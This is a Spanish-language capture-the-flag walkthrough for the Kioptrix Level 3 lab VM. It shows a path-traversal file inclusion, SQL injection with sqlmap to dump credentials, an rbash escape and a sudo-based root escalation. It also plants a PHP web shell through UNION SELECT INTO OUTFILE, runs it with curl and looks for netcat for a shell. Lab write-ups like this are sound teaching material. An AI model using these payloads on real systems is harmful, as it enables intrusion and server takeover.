Kioptrix level 3

Lo primero es ver el funcionamiento del sitio, y vemos que hace peticiones del tipo:
index.php?page=index
index.php?system=Blog
index.php?system=Admin

Así que miramos posible FLI, dando como resultado que al pasar
index.php?system=../../../../../etc/passwd%00.html
nos lo lee el archivo
Hay una sqli en la seccion gallery, concretamente al hacer:
ipvictima/gallery/gallery.php?id=1'
Esto nos da el error en SQL syntax, asi que ahora podemos ir a sqlmap para sacar toda la información posible:

sierra@sierra:~# sqlmap -u "ipvictima/gallery/gallery.php?id=1" --dbs --current-user --is-dba

El resultado es bueno, ya que el user es root con --is-dba en True
Sacamos todo lo que podemos, entre otro que hay un usuario llamado loneferret con pass starwars, el cual usamos para conectarnos por ssh y entrar como ese user. Pero es una rbash, una shell restringida, asi que ponemos :
echo os.system("/bin/bash")
Y ya tenemos una "normal", ahora solo queda editar el sudoers, con el sudo ht que nos lo señala en el archivo CompanyPolicy.README del directorio razi de loneferret, y ya poder usar el sudo su para obtener privileges de root.
Me da un error cuando hago el sudo ht "Error opening terminal: xterm-256color.", con lo que hago un "export TERM=xterm" y ahora si me deja ejecutar el ht para cambiar los privilegios al usuario loneferret y asi poder usar el sudo su

pero como nos gusta jugar, retrocedemos para meter una shell en el directorio /tmp asi:
http://ipvictima/gallery/gallery.php?id=1 order by 100 --
Hasta encontrar el número de columnas y después con union select hacer:
http://ipvictima/gallery/gallery.php?id=1 union select 1,"<?php system($_GET[cmd]);?>",3,4,5,6 into outfile'/tmp/shell.php'--
volvemos a recargar la página y nos dice:
File '/tmp/shell.php' already existsCould not select category
Con lo cual hemos metido bien la shell, y ahora a seguir...
http://ipvictima/index.php?system=../../../../../tmp/shell.php%00.html&cmd=ls
y desde consola lo hacemos así:

sierra@sierra:~# curl "http://ipvictima/index.php?system=../../../../../tmp/shell.php%00.html&cmd=$(php -r "echo urlencode('ls -la');")"

Buscamos el netcat

sierra@sierra:~# curl "http://ipvictima/index.php?system=../../../../../tmp/shell.php%00.html&cmd=$(php -r "echo urlencode('whereis nc');")"

Lo tiene y es el tradicional, asi que ya podriamos tener una shell para conectarnos, mejorarla y seguir investigando